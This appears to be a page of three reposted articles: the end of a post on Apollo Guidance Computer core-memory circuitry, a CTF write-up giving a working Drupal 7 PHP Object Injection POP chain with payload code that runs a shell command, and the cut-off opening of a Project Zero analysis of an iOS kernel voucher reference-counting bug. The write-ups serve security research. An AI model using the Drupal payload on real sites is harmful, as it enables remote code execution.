so using a complex driver circuit on each line would be too bulky and expensive. In this section, I'll describe the circuitry in the AGC that energizes the right select lines for a particular address. The AGC uses a clever trick to minimize the hardware required to drive the X and Y select lines. Instead of using 64 X line drivers, the AGC has 8 X drivers at the top of the matrix, and 8 at the bottom of the matrix. Each of the 64 select lines is connected to a different top and bottom driver pair. Thus, energizing a top driver and a bottom driver produces current through a single X select line. Thus, only 8+8 X drivers are required rather than 64.6 The Y drivers are similar, using 4 on one side and 8 on the other. The downside of this approach is 192 diodes are required to prevent "sneak paths" through multiple select lines.7 Illustration of how "top" and "bottom" drivers work together to select a single line through the core matrix. Original diagram here. The diagram above demonstrates this technique for the vertical lines in a hypothetical 9×5 core array. There are three "top" drivers (A, B and C), and three "bottom" drivers (1, 2 and 3). If driver B is energized positive and driver 1 is energized negative, current flows through the core line highlighted in red. Reversing the polarity of the drivers reverses the current flow, and energizing different drivers selects a different line. To see the need for diodes, note that in the diagram above, current could flow from B to 2, up to A and finally down to 1, for instance, incorrectly energizing multiple lines. The address decoder logic is in tray "A" of the AGC, implemented in several logic modules.9 The AGC's logic is entirely built from 3-input NOR gates (two per integrated circuit), and the address decoder is no exception. The image below shows logic module A14. (The other logic modules look essentially the same, but the internal printed circuit board is wired differently.) The logic modules all have a similar design: two rows of 30 ICs on each side, for 120 ICs in total, or 240 3-input NOR gates. (Module A14 has one blank location on each side, for 118 ICs in total.) The logic module plugs into the AGC via the four rows of pins at the bottom.10 Much of the address decoding is implemented in logic module A14. Photo courtesy of Mike Stewart. The diagram below shows the circuit to generate one of the select signals (XB6—X bottom 6).11 The NOR gate outputs a 1 if the inputs are 110 (i.e. 6). The other select signals are generated with similar circuits, using different address bits as inputs. This address decode circuit generates one of the select signals. The AGC has 28 decode circuits similar to this. Each integrated circuit implemented two NOR gates using RTL (resistor-transistor logic), an early logic family. These ICs were costly; they cost $20-$30 each (around $150 in current dollars). There wasn't much inside each IC, just three transistors and eight resistors. Even so, the ICs provided a density improvement over the planned core-transistor logic, making the AGC possible. The decision to use ICs in the AGC was made in 1962, amazingly just four years after the IC was invented. The AGC was the largest consumer of ICs from 1962 to 1965 and ended up being a major driver of the integrated circuit industry. Each IC contains two NOR gates implemented with resistor-transistor logic. From Schematic 2005011. The die photo below shows the internal structure of the NOR gate; the metal layer of the silicon chip is most visible.12 The top half is one NOR gate and the bottom half is the other. The metal wires connect the die to the 10-pin package. The transistors are clumped together in the middle of the chip, surrounded by the resistors. Die photo of the dual 3-input NOR gate used in the AGC. Pins are numbered counterclockwise; pin 3 is to the right of the "P". Photo by Lisa Young, Smithsonian. Erasable Driver Modules Next, the Erasable Driver module converts the 4-volt logic-level signals from the address decoder into 14-volt pulses with controlled current. The AGC has two identical Erasable Driver modules, in slots B9 and B10.5 Two modules are required due to the large number of signals: 28 select lines (X and Y, top and bottom), 16 inhibit lines (one for each bit), and a dozen control signals. The select line driver circuits are simple transistor switching circuits: a transistor and two resistors. Other circuits, such as the inhibit line drivers are a bit more complex because the shape and current of the pulse need to be carefully matched to the core module. This circuit uses three transistors, an inductor, and a handful of resistors and diodes. The resistor values are carefully selected during manufacturing to provide the desired current. The erasable driver module, front and back. Photo courtesy of Mike Stewart. This module, like the other non-logic modules, is built using cordwood construction. In this high-density construction, components were inserted into holes in the module, passing through from one side of the module to the other, with their leads exiting on either side. (Except for transistors, with all three leads on the same side.) On each side of the module, point-to-point wiring connected the components with welded connections. In the photo below, note the transistors (golden, labeled with Q), resistors (R), diodes (CR for crystal rectifier, with K indicating the cathode), large capacitors (C), inductor (L), and feed-throughs (FT). A plastic sheet over the components conveniently labels them; for instance, "7Q1" means transistor Q1 for circuit 7 (of a repeated circuit). These labels match the designations on the schematic. At the bottom are connections to the module pins. Modules that were flown on spacecraft were potted with epoxy so the components were protected against vibration. Fortunately, our AGC was used on the ground and left mostly unpotted, so the components are visible. A closeup of the Erasable Driver module, showing the cordwood construction. Photo courtesy of Mike Stewart. Current Switch Module You might expect that the 14-volt pulses from the Erasable Driver modules would drive the X and Y lines in the core. However, the signals go through one more module, the Current Switch module, in slot B11 just above the core memory module. This module generates the bidirectional pulses necessary for the X and Y lines. The driver circuits are very interesting as each driver includes a switching core in the circuit. (These cores are much larger than the cores in the memory itself.)13 The driver uses two transistors: one for the read current, and the other for the write current in the opposite direction. The switching core acts kind of like an isolation transformer, providing the drive signal to the transistors. But the switching core also "remembers" which line is being used. During the read phase, the address decoder flips one of the cores. This generates a pulse that drives the transistor. During the write phase, the address decoder is not involved. Instead, a "reset" signal is sent through all the driver cores. Only the core that was flipped in the previous phase will flip back, generating a pulse that drives the other transistor. Thus, the driver core provides memory of which line is active, avoiding the need for a flip flop or other latch. The current switch module. (This is from the CHM as ours is encapsulated and there's nothing to see but black epoxy.) Photo courtesy of Mike Stewart. The diagram below shows the schematic of one of the current switches. The heart of the circuit is the switching core. If the driver input is 1, winding A will flip the the core when the set strobe is pulsed. This will produce a pulses on the other windings; the positive pulse on winding B will turn on transistor Q55, pulling the output X line low for reading.14 The output is connected via eight diodes to eight X top lines through the core. A similar bottom select switch (without diodes) will pull X bottom lines high; the single X line with the top low and the bottom high will be energized, selecting that row. For a write, the reset line is pulled low energizing winding D. If the core had flipped earlier, it will flip back, generating a pulse on winding C that will turn on transistor Q56, and pull the output high. But if the core had not flipped earlier, nothing happens and the output remains inactive. As before, one X line and one Y line through the core planes will be selected, but this time the current is in the opposite direction for a write. Schematic of one of the current switches in the AGC. This switch is the driver for X top line 0. The schematic shows one of the 8 pairs of diodes connected to this driver. The photo below shows one of the current switch circuits and its cordwood construction. The switching core is the 8-pin black module between the transistors. The core and the wires wound through it are encapsulated with epoxy, so there's not much to see. At the bottom of the photo, you can see the Malco Mini-Wasp pins that connect the module to the backplane. Closeup of one switch circuit in the Current Switch Module. The switching core (center) has transistors on either side. Sense Amplifier Modules When a core flips, the changing magnetic field induces a weak signal in the corresponding sense line. There are 16 sense lines, one for each bit in the word. The 16 sense amplifiers receive these signals, amplify them, and convert them to logic levels. The sense amplifiers are implemented using a special sense amplifier IC. (The AGC used only two different ICs, the sense amplifier and the NOR gate.) The AGC has two identical sense amplifier modules, in slots B13 and B14; module B13 is used by the erasable core memory, while B14 is used by the fixed memory (i.e. core rope used for ROM). The signal from the core first goes through an isolation transformer. It is then amplified by the IC and the output is gated by a strobe transistor. The sense amplifier depends on carefully-controlled voltage levels for bias and thresholds. These voltages are produced by voltage regulators on the sense amplifier modules that use Zener diodes for regulation. The voltage levels are tuned during manufacturing by selecting resistor values and optional diodes, matching each sense amplifier module to the characteristics of the computer's core memory module. The photo below shows one of the sense amp modules. The eight repeated units are eight sense amplifiers; the eight other sense amplifiers are on the other side of the module. The reddish circles are the pulse transformers, while the lower circles are the sense amplifier ICs. The voltage regulation is in the middle and right of the module. On top of the module (front in the photo) you can see the horizontal lines of the nickel ribbon that connects the circuits; it is somewhat similar to a printed circuit board. Sense amplifier module with top removed. Note the nickel ribbon interconnect at the top of the module. The photo below shows a closeup of the module. At the top are two amplifier integrated circuits in metal cans. Below are two reddish pulse transformers. An output driver transistor is between the pulse transformers.15 The resistors and capacitors are mounted using cordwood construction, so one end of the component is wired on this side of the module, and one on the other side. Note the row of connections at the top of the module; these connect to the nickel ribbon interconnect. Closeup of the sense amplifier module for the AGC. The sense amplifier integrated circuits are at the top and the reddish pulse transformers are below. The pins are at the bottom and the wires at the top go to the nickel ribbon, which is like a printed circuit board. The diagram below shows the circuitry inside each sense amp integrated circuit. The sense amp chip is considerably more complex than the NOR gate IC. The chip receives the sense amp signal inputs from the pulse transformer and the differential amplifier amplifies the signal.16 If the signal exceeds a threshold, the IC outputs a 1 bit when clocked by the strobe. Circuitry inside the sense amp integrated circuit for the AGC. Writes With core memory, the read operation and write operation are always done in pairs. Since a word is erased when it is read, it must then be written, either with the original value or a new value. In the write cycle, the X and Y select lines are energized to flip the core to 1, using the opposite current from the read cycle. Since the same X and Y select lines go through all the planes, all bits in the word would be set to 1. To store a 0 bit, each plane has an inhibit line that goes through all the cores in the plane. Energizing the inhibit line in the opposite direction to the X and Y select lines partially cancels out the current and prevents the core from receiving enough current to flip it, so the bit remains 0. Thus, by energizing the appropriate inhibit lines, any value can be written to the word in core. The 16 inhibit lines are driven by the Erasable Driver modules. The broken wire During the restoration, we tested the continuity of all the lines through the core module. Unfortunately, we discovered that the inhibit line for bit 16 is broken internally. NASA discovered in early testing that wires could be sheared inside the module, due to vibrations between the silicone encapsulation and the epoxy encapsulation. They fixed this problem in the later modules that were flown, but our module had the original faulty design. We attempted to find the location of the broken wire with X-rays, but couldn't spot the break. Time-domain reflectometry suggests the break is inconveniently located in the middle of the core planes. We are currently investigating options to deal with this. Marc has a series of AGC videos; the video below provides detail on the broken wire in the memory module. Conclusion Core memory was the best storage technology in the 1960s and the Apollo Guidance Computer used it to get to the Moon. In addition to the core memory module itself, the AGC required several modules of supporting circuitry. The AGC's logic circuits used early NOR-gate integrated circuits, while the analog circuits were built from discrete components and sense amplifier ICs using cordwood construction. The erasable core memory in the AGC stored just 2K words. Because each bit in core memory required a separate physical ferrite core, density was limited. Once semiconductor memory became practical in the 1970s, it rapidly replaced core memory. The image below shows the amazing density difference between semiconductor memory and core memory: 64 bits of core take about the same space as 64 gigabytes of flash. Core memory from the IBM 1401 compared with modern flash memory. I announce my latest blog posts on Twitter, so follow me @kenshirriff for future articles. I also have an RSS feed. See the footnotes for Apollo manuals17 and more information sources18. Thanks to Mike Stewart for supplying images and extensive information. Notes and references The AGC restoration team consists of Mike Stewart (creator of FPGA AGC), Carl Claunch, Marc Verdiell (CuriousMarc) on YouTube and myself. The AGC that we're restoring belongs to a private owner who picked it up at a scrap yard in the 1970s after NASA scrapped it. For simplicity I refer to the AGC we're restoring as "our AGC". The Apollo flights had one AGC in the command module (the capsule that returned to Earth) and one AGC in the lunar module. In 1968, before the Moon missions, NASA tested a lunar module (with astronauts aboard) in a giant vacuum chamber in Houston to ensure that everything worked in space-like conditions. We believe our AGC was installed in that lunar module (LTA-8). Since this AGC was never flown, most of the modules are not potted with epoxy. ↩ We don't have core rope modules, but we have a core rope simulator from the 1970s. Yes, we know about Francois; those are ropes for the earlier Block I Apollo Guidance Computer and are not compatible with our Block II AGC. ↩ Many people have asked if we talked to Fran about the DSKY. Yes, we have. ↩ There were alternative ways to wire a core plane. Using a diagonal sense wire reduced the noise in the sense wire from X and Y pulses but some used a horizontal sense wire. Some core systems used the same wire for sense and inhibit (which simplified manufacturing), but that made noise rejection more complex. ↩ If you look carefully at the pictures of modules installed in the AGC, the Erasable Driver module in B10 is upside down. This is not a mistake, but how the system was designed. I assume this simplified the backplane wiring somehow, but it looks very strange. ↩ The IBM 1401 business computer, for example, used a different approach to generate the X and Y select lines. To generate the 50 X select signals, it used a 5×10 matrix of cores (separate from the actual memory cores). Two signals into the matrix were energized at the same time, flipping one of the 50 cores and generating a pulse on that line. Thus, only 5+10 drivers were needed instead of 50. The Y select signals were similar, using an 8×10 matrix. Details here. ↩ The AGC core memory required 192 diodes to prevent sneak paths, where a pulse could go backward through the wrong select lines. Each line required two diodes since the lines are driven one direction for read and the opposite for write. Since there are 64 X lines and 32 Y lines, 2×(64+32) = 192 diodes were required. These diodes were installed in two layers in the top of the core memory module. ↩ The memory address is mapped onto the select lines as follows. The eight X bottom signals are generated from the lowest address bits, S01, S02 and S03. (Bits in a word are numbered starting at 1, not 0.) Each decoder output has as NOR gate to select a particular bit pattern, along with four more NOR gates as buffers. The eight X top signals are generated from address bits S04, S05, and S06. The four Y bottom signals are generated from address bits S07 and S08. The eight Y top signals are generated from address bits EAD09, EAD10, and EAD11; these in turn were generated from S09 and S10 along with bank select bits EB9, EB10 and EB11. (The AGC used 12-bit addresses, allowing 4096 words to be addressed directly. Since the AGC had 38K of memory in total, it had a complex memory bank system to access the larger memory space.) ↩ For address decoding, the X drivers were in module A14, the Y top drivers were in A7 and the Y bottom drivers in A14. The memory address was held in the memory address register (S register) in module A12, which also held a bit of decoding logic. Module A14 also held some memory timing logic. In general, the AGC's logic circuits weren't cleanly partitioned across modules since making everything fit was more important than a nice design. ↩ One unusual thing to notice about the AGC's logic circuitry is there are no bypass capacitors. Most integrated circuit logic has a bypass capacitor next to each IC to reduce noise, but NASA found that the AGC worked better without bypass capacitors. ↩ The "Blue-nose" gate doesn't have the pull-up resistor connected, making it open collector. It is presumably named after its blue appearance on blueprints. Blue-nose outputs can be connected together to form a NOR gate with more inputs. In the case of the address decoder, the internal pull-up resistor is not used so the Erasable Driver module (B9/B10) can pull the signal up to BPLUS (+14V) rather than the +4V logic level. ↩ The AGC project used integrated circuits from multiple suppliers, so die photos from different sources show different layouts. ↩ The memory cores and the switching core were physically very different. The cores in the memory module had a radius between 0.047 and 0.051 inches (about 1.2mm). The switching cores were much larger (either .249" or .187" depending on the part number) and had 20 to 50 turns of wire through them. ↩ For some reason, the inputs to the current switches are numbered starting at 0 (XT0E-XT7E) while the outputs are numbered starting at 1 (1AXBF-8AXBF). Just in case you try to understand the schematics. ↩ The output from the sense amplifiers is a bit confusing because the erasable core memory (RAM) and fixed rope core memory (ROM) outputs are wired together. The RAM has one sense amp module with 16 amplifiers in slot B13, and the ROM has its own identical sense amp module in slot B14. However, each module only has 8 output transistors. The two modules are wired together so 8 output bits are driven by transistors in the RAM's sense amp module and 8 output bits are driven by transistors in the ROM's sense amp module. (The motivation behind this is to use identical sense amp modules for RAM and ROM, but only needing 16 output transistors in total. Thus, the transistors are split up 8 to a module.) ↩ I'll give a bit more detail on the sense amps here. The key challenge with the sense amps is that the signal from a flipping core is small and there are multiple sources of noise that the sense line can pick up. By using a differential signal (i.e. looking at the difference between the two inputs), noise that is picked up by both ends of the sense line (common-mode noise) can be rejected. The differential transformer improved the common-mode noise rejection by a factor of 30. (See page 9-16 of the Design Review.) The other factor is that the sense line goes through some cores in the same direction as the select lines, and through some cores the opposite direction. This helps cancel out noise from the select lines. However, the consequence is that the pulse on the sense line may be positive or may be negative. Thus, the sense amp needed to handle pulses of either polarity; the threshold stage converted the bipolar signal to a binary output. ↩ The Apollo manuals provide detailed information on the memory system. The manual has a block diagram of the AGC's memory system. The address decoder is discussed in the manual starting at 4-416 and schematics are here. Schematics of the Erasable Driver modules are here and here; the circuit is discussed in section 4-5.8.3.3 of the manual. Schematics of the Current Switch module are here and here; the circuit is discussed in section 4-5.8.3.3 of the manual. Sense amplifiers are discussed in section 4-5.8.3.4 of the manual with schematics here and here; schematics are here and here. ↩ For more information on the AGC, the Virtual AGC site has tons of information on the AGC, in particular the ElectroMechanical page has lots of schematics and drawings. There's a video of Eldon Hall, designer of the AGC, disassembling our AGC in 2004. If you want to try a simulated AGC in your browser, see moonjs. Eldon Hall's book Journey to the Moon: The History of the Apollo Guidance Computer is very interesting. Also see Sunburst and Luminary: An Apollo Memoir by Don Eyles, who wrote a lot of the lunar landing code and discusses the famous program alarms. The Apollo Guidance Computer: Architecture and Operation is unevenly written and has errors, but the discussion in the last half of space navigation and a lunar mission is informative. ↩ Sursa: http://www.righto.com/2019/01/inside-apollo-guidance-computers-core.html
-
CTF Writeup: Complex Drupal POP Chain 29 Jan 2019 by Simon Scannell A recent Capture-The-Flag tournament hosted by Insomni’hack challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object Injection with a complex POP gadget chain. About the Challenge The Droops challenge consisted of a website which had a modified version of Drupal 7.63 installed. The creators of the challenge added a Cookie to the Drupal installation that contained a PHP serialized string, which would then be unserialized on the remote server, leading to a PHP Object Injection vulnerability. Finding the cookie was straightforward and the challenge was obvious: Finding and crafting a POP chain for Drupal. If you are not familiar with PHP Object Injections we recommend reading our blog post about the basics of PHP Object Injections. Drupal POP Chain to Drupalgeddon 2 We found the following POP chain in the Drupal source code that affects its cache mechanism. Through the POP chain it was possible to inject into the Drupal cache and abuse the same feature that lead to the Drupalgeddon 2 vulnerability. No knowledge of this vulnerability is required to read this blog post, as each relevant step will be explained. The POP chain is a second-order Remote Code Execution, which means that it consists of two steps: Injecting into the database cache the rendering engine uses Exploiting the rendering engine and Drupalgeddon 2 Injecting into the cache The DrupalCacheArray class in includes/bootstrap.inc implements a destructor and writes some data to the database cache with the method set(). This is our entry point of our gadget chain. 1 2 3 4 5 6 7 8 91011121314 /** * Destructs the DrupalCacheArray object. */ public function __destruct() { $data = array(); foreach ($this->keysToPersist as $offset => $persist) { if ($persist) { $data[$offset] = $this->storage[$offset]; } } if (!empty($data)) { $this->set($data); } } The set() method will essentially call Drupal’s cache_set() function with $this->cid, $data, and $this->bin, which are all under control of the attacker since they are properties of the injected object. We assumed that we are now able to inject arbitrary data into the Drupal cache. 1 2 3 4 5 6 7 8 91011121314 protected function set($data, $lock = TRUE) { // Lock cache writes to help avoid stampedes. // To implement locking for cache misses, override __construct(). $lock_name = $this->cid . ':' . $this->bin; if (!$lock || lock_acquire($lock_name)) { if ($cached = cache_get($this->cid, $this->bin)) { $data = $cached->data + $data; } cache_set($this->cid, $data, $this->bin); if ($lock) { lock_release($lock_name); } } } In order to find out if this assumption was true, we started digging into the internals of the Drupal cache. We found out that the cache entries are stored in the database. Each cache type has its own table. (A cache for forms, one for pages and so on.) 1 2 3 4 5 6 7 8 910111213141516 MariaDB [drupal7]> SHOW TABLES; +-----------------------------+ | Tables_in_drupal7 | +-----------------------------+ ... | cache | | cache_block | | cache_bootstrap | | cache_field | | cache_filter | | cache_form | | cache_image | | cache_menu | | cache_page | | cache_path | ... After a bit more of digging around, we discovered that the table name is the equivalent to $this->bin. This means we can set bin to be of any cache type and inject into any cache table. But what can we do with this? The next step was to analyze the different cache tables for interesting entries and their structure. 1 2 3 4 5 6 7 8 910 MariaDB [drupal7]> DESC cache_form; +------------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +------------+--------------+------+-----+---------+-------+ | cid | varchar(255) | NO | PRI | | | | data | longblob | YES | | NULL | | | expire | int(11) | NO | MUL | 0 | | | created | int(11) | NO | | 0 | | | serialized | smallint(6) | NO | | 0 | | +------------+--------------+------+-----+---------+-------+ For example the cache_form table has a column called cid. As a reminder, one of the arguments to cache_set() was $this->cid. We assumed the following: $this->cid maps to the cid column of the cache table, which is set in $this->bin. cid is the key of a cache entry and the data column simply is the $data parameter in cache_set(). To verify all these assumptions we created a serialized payload locally by creating a class in a build.php file and unserialized it on my test Drupal setup: 1 2 3 4 5 6 7 8 910111213 class SchemaCache { // Insert an entry with some cache_key protected $cid = "some_cache_key"; // Insert it into the cache_form table protected $bin = "cache_form"; protected $keysToPersist = array('input_data' => true); protected $storage = array('input_data' => array("arbitrary data!")); } $schema = new SchemaCache(); echo serialize($schema); The reason we used the SchemaCache class here is because it extends the abstract class DrupalCacheArray, which means it can’t be instantiated on its own. The deserialization of this data lead to the following entry in the cache_form table being created: 123456 MariaDB [drupal7]> SELECT * FROM cache_form; +----------------+-----------------------------------------------------------+--------+------------+------------+ | cid | data | expire | created | serialized | +----------------+-----------------------------------------------------------+--------+------------+------------+ | some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} | 0 | 1548684864 | 1 | +----------------+-----------------------------------------------------------+--------+------------+------------+ Using the injected cached data to gain Remote Code Execution Since we were now able to inject arbitrary data into any caching table, we started to search for ways in which the cache was used by Drupal that could be used to gain Remote Code Execution. After a bit of searching, we stumbled upon the following ajax callback, which can be triggered by making a request to the URL: http://drupalurl.org/?q=system/ajax. 1234 function ajax_form_callback() { list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form(); drupal_process_form($form['#form_id'], $form, $form_state); } The ajax_get_form() function internally uses cache_get() to retrieve a cached entry from the cache_form table: 12345 if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) { $form = $cached->data; ... return $form; } This is interesting because this means it is possible to pass an arbitrary form render array to drupal_process_form(). As previously mentioned, the Drupalgeddon 2 vulnerability abused this feature, so chances were high that code execution could be achieved with the ability to inject arbitrary render arrays into the rendering engine. Within drupal_process_form(), we found the following lines of code: 1234 if (isset($element['#process']) && !$element['#processed']) { foreach ($element['#process'] as $process) { $element = $process($element, $form_state, $form_state['complete form']); } Here, $element refers to the $form received via cache_get(), meaning the keys and values of the array can be set arbitrarily. This means it is possible to simply set an arbitrary process (#process) callback and execute it with the render array as a parameter. Since the first argument is an array, it is not possible to simply call a function such as system() directly. What is required is a function that takes an array as input that leads to RCE. The drupal_process_attached() function seemed very promising: 1 2 3 4 5 6 7 8 91011 function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) { ... foreach ($elements['#attached'] as $callback => $options) { if (function_exists($callback)) { foreach ($elements['#attached'][$callback] as $args) { call_user_func_array($callback, $args); } } } return $success; Since all array keys and values can be set arbitrarily, is is possible to call an arbitrary function with arbitrary arguments via call_user_func_array(), which leads to RCE! This means the final POP chain looks like this: 1 2 3 4 5 6 7 8 9101112131415161718192021222324252627 <?php class SchemaCache { // Insert an entry with some cache_key protected $cid = "form_1337"; // Insert it into the cache_form table protected $bin = "cache_form"; protected $keysToPersist = array( '#form_id' => true, '#process' => true, '#attached' => true ); protected $storage = array( '#form_id' => 1337, '#process' => array('drupal_process_attached'), '#attached' => array( 'system' => array(array('sleep 20')) ) ); } $schema = new SchemaCache(); echo serialize($schema); All that is left to do is to trigger the PHP Object Injection vulnerability with the resulting serialized string and then to make a POST request to http://drupalurl.org/?q=system/ajax and set the POST parameter form_build_id to 1337 to trigger the RCE. Conclusion POP chains can often become more complex and require a deeper knowledge of the application. However, the purpose of this blog post was to demonstrate that exploitation is still possible, even if no obvious, first order POP chain exists. If we had not known that the rendering API of drupal uses a lot of callbacks and had vulnerabilities in the past, we probably would not have found this particular POP chain. Alternatively, deep PHP knowledge can also lead to working POP chains when no obvious POP chain can be found. There exists another POP chain, an Object Instantion to Blind XXE to File Read to SQL Injection to RCE. A write up for this POP chain was written by Paul Axe and can be found here. We also would like to thank the creators for creating this and the other amazing challenges for the Insomni’hack CTF 2019. Tags: simon scannell, php, writeup, php object injection, Author: Simon Scannell Security Researcher Simon is a self taught security researcher at RIPS Technologies and is passionate about web application security and coming up with new ways to find and exploit vulnerabilities. He currently focuses on the analysis of popular content management systems and their security architecture. Sursa: https://blog.ripstech.com/2019/complex-drupal-pop-chain/
-
Tuesday, January 29, 2019 voucher_swap: Exploiting MIG reference counting in iOS 12 Posted by Brandon Azad, Project Zero In this post I'll describe how I discovered and exploited CVE-2019-6225, a MIG reference counting vulnerability in XNU's task_swap_mach_voucher() function. We'll see how to exploit this bug on iOS 12.1.2 to build a fake kernel task port, giving us the ability to read and write arbitrary kernel memory. (This bug was independently discovered by @S0rryMybad.) In a later post, we'll look at how to use this bug as a starting point to analyze and bypass Apple's implementation of ARMv8.3 Pointer Authentication (PAC) on A12 devices like the iPhone XS. A curious discovery MIG is a tool that generates Mach message parsing code, and vulnerabilities resulting from violating MIG semantics are nothing new: for example, Ian Beer's async_wake exploited an issue where IOSurfaceRootUserClient would over-deallocate a Mach port managed by MIG semantics on iOS 11.1.2. Most prior MIG-related issues have been the result of MIG service routines not obeying semantics around object lifetimes and ownership. Usually, the MIG ownership rules are expressed as follows: If a MIG service routine returns success, then it took ownership of all resources passed in. If a MIG service routine returns failure, then it took ownership of none of the resources passed in. Unfortunately, as we'll see, this description doesn't cover the full complexity of kernel objects managed by MIG, which can lead to unexpected bugs. The journey started while investigating a reference count overflow in semaphore_destroy(), in which an error path through the function left the semaphore_t object with an additional reference. While looking at the autogenerated MIG function _Xsemaphore_destroy() that wraps semaphore_destroy(), I noticed that this function seems to obey non-conventional semantics. Here's the relevant code from _Xsemaphore_destroy(): task = convert_port_to_task(In0P->Head.msgh_request_port); OutP->RetCode = semaphore_destroy(task, convert_port_to_semaphore(In0P->semaphore.name)); task_deallocate(task); #if __MigKernelSpecificCode if (OutP->RetCode != KERN_SUCCESS) { MIG_RETURN_ERROR(OutP, OutP->RetCode); } if (IP_VALID((ipc_port_t)In0P->semaphore.name)) ipc_port_release_send((ipc_port_t)In0P->semaphore.name); #endif /* __MigKernelSpecificCode */ The function convert_port_to_semaphore() takes a Mach port and produces a reference on the underlying semaphore object without consuming the reference on the port. If we assume that a correct implementation of the above code doesn't leak or consume extra references, then we can conclude the following intended semantics for semaphore_destroy(): On success, semaphore_destroy() should consume the semaphore reference. On failure, semaphore_destroy() should still consume the semaphore reference. Thus, semaphore_destroy() doesn't seem to follow the traditional rules of MIG semantics: a correct implementation always takes ownership of the semaphore object, regardless of whether the service routine returns success or failure. This of course begs the question: what are the full rules governing MIG semantics? And are there any instances of code violating these other MIG rules? A bad swap Not long into my investigation into extended MIG semantics, I discovered the function task_swap_mach_voucher(). This is the MIG definition from osfmk/mach/task.defs: routine task_swap_mach_voucher( task : task_t; new_voucher : ipc_voucher_t; inout old_voucher : ipc_voucher_t); And here's the relevant code from _Xtask_swap_mach_voucher(), the autogenerated MIG wrapper: mig_internal novalue _Xtask_swap_mach_voucher (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) { ... kern_return_t RetCode; task_t task; ipc_voucher_t new_voucher; ipc_voucher_t old_voucher; ... task = convert_port_to_task(In0P->Head.msgh_request_port); new_voucher = convert_port_to_voucher(In0P->new_voucher.name); old_voucher = convert_port_to_voucher(In0P->old_voucher.name); RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher); ipc_voucher_release(new_voucher); task_deallocate(task); if (RetCode != KERN_SUCCESS) { MIG_RETURN_ERROR(OutP, RetCode); } ... if (IP_VALID((ipc_port_t)In0P->old_voucher.name)) ipc_port_release_send((ipc_port_t)In0P->old_voucher.name); if (IP_VALID((ipc_port_t)In0P->new_voucher.name)) ipc_port_release_send((ipc_port_t)In0P->new_voucher.name); ... OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher); OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX; OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply)); OutP->msgh_body.msgh_descriptor_count = 1; } Once again, assuming that a correct implementation doesn't leak or consume extra references, we can infer the following intended semantics for task_swap_mach_voucher(): task_swap_mach_voucher() does not hold a reference on new_voucher; the new_voucher reference is borrowed and should not be consumed. task_swap_mach_voucher() holds a reference on the input value of old_voucher that it should consume. On failure, the output value of old_voucher should not hold any references on the pointed-to voucher object. On success, the output value of old_voucher holds a voucher reference donated from task_swap_mach_voucher() to _Xtask_swap_mach_voucher() that the latter consumes via convert_voucher_to_port(). With these semantics in mind, we can compare against the actual implementation. Here's the code from XNU 4903.221.2's osfmk/kern/task.c, presumably a placeholder implementation: kern_return_t task_swap_mach_voucher( task_t task, ipc_voucher_t new_voucher, ipc_voucher_t *in_out_old_voucher) { if (TASK_NULL == task) return KERN_INVALID_TASK; *in_out_old_voucher = new_voucher; return KERN_SUCCESS; } This implementation does not respect the intended semantics: The input value of in_out_old_voucher is a voucher reference owned by task_swap_mach_voucher(). By unconditionally overwriting it without first calling ipc_voucher_release(), task_swap_mach_voucher() leaks a voucher reference. The value new_voucher is not owned by task_swap_mach_voucher(), and yet it is being returned in the output value of in_out_old_voucher. This consumes a voucher reference that task_swap_mach_voucher() does not own. Thus, task_swap_mach_voucher() actually contains two reference counting issues! We can leak a reference on a voucher by calling task_swap_mach_voucher() with the voucher as the third argument, and we can drop a reference on the voucher by passing the voucher as the second argument. This is a great exploitation primitive, since it offers us nearly complete control over the voucher object's reference count. (Further investigation revealed that thread_swap_mach_voucher() contained a similar vulnerability, but only the reference leak part, and changes in iOS 12 made the vulnerability unexploitable.) On vouchers In order to grasp the impact of this vulnerability, it's helpful to understand a bit more about Mach vouchers, although the full details aren't important for exploitation. Mach vouchers are represented by the type ipc_voucher_t in the kernel, with the following structure definition: /* * IPC Voucher * * Vouchers are a reference counted immutable (once-created) set of * indexes to particular resource manager attribute values * (which themselves are reference counted). */ struct ipc_voucher { iv_index_t iv_hash; /* checksum hash */ iv_index_t iv_sum; /* checksum of values */ os_refcnt_t iv_refs; /* reference count */ iv_index_t iv_table_size; /* size of the voucher table */ iv_index_t iv_inline_table[IV_ENTRIES_INLINE]; iv_entry_t iv_table; /* table of voucher attr entries */ ipc_port_t iv_port; /* port representing the voucher */ queue_chain_t iv_hash_link; /* link on hash chain */ }; As the comment indicates, an IPC voucher represents a set of arbitrary attributes that can be passed between processes via a send right in a Mach message. The primary client of Mach vouchers appears to be Apple's libdispatch library. The only fields of ipc_voucher relevant to us are iv_refs and iv_port. The other fields are related to managing the global list of voucher objects and storing the attributes represented by a voucher, neither of which will be used in the exploit. As of iOS 12, iv_refs is of type os_refcnt_t, which is a 32-bit reference count with allowed values in the range 1-0x0fffffff (that's 7 f's, not 8). Trying to retain or release a voucher with a reference count outside this range will trigger a panic. iv_port is a pointer to the ipc_port object that represents this voucher to userspace. It gets initialized whenever convert_voucher_to_port() is called on an ipc_voucher with iv_port set to NULL. In order to create a Mach voucher, you can call the host_create_mach_voucher() trap. This function takes a "recipe" describing the voucher's attributes and returns a voucher port representing the voucher. However, because vouchers are immutable, there is one quirk: if the resulting voucher's attributes are exactly the same as a voucher that already exists, then host_create_mach_voucher() will simply return a reference to the existing voucher rather than creating a new one. That's out of line! There are many different ways to exploit this bug, but in this post I'll discuss my favorite: incrementing an out-of-line Mach port pointer so that it points into pipe buffers. Now that we understand what the vulnerability is, it's time to determine what we can do with it. As you'd expect, an ipc_voucher gets deallocated once its reference count drops to 0. Thus, we can use our vulnerability to cause the voucher to be unexpectedly freed. But freeing the voucher is only useful if the freed voucher is subsequently reused in an interesting way. There are three components to this: storing a pointer to the freed voucher, reallocating the freed voucher with something useful, and reusing the stored voucher pointer to modify kernel state. If we can't get any one of these steps to work, then the whole bug is pretty much useless. Let's consider the first step, storing a pointer to 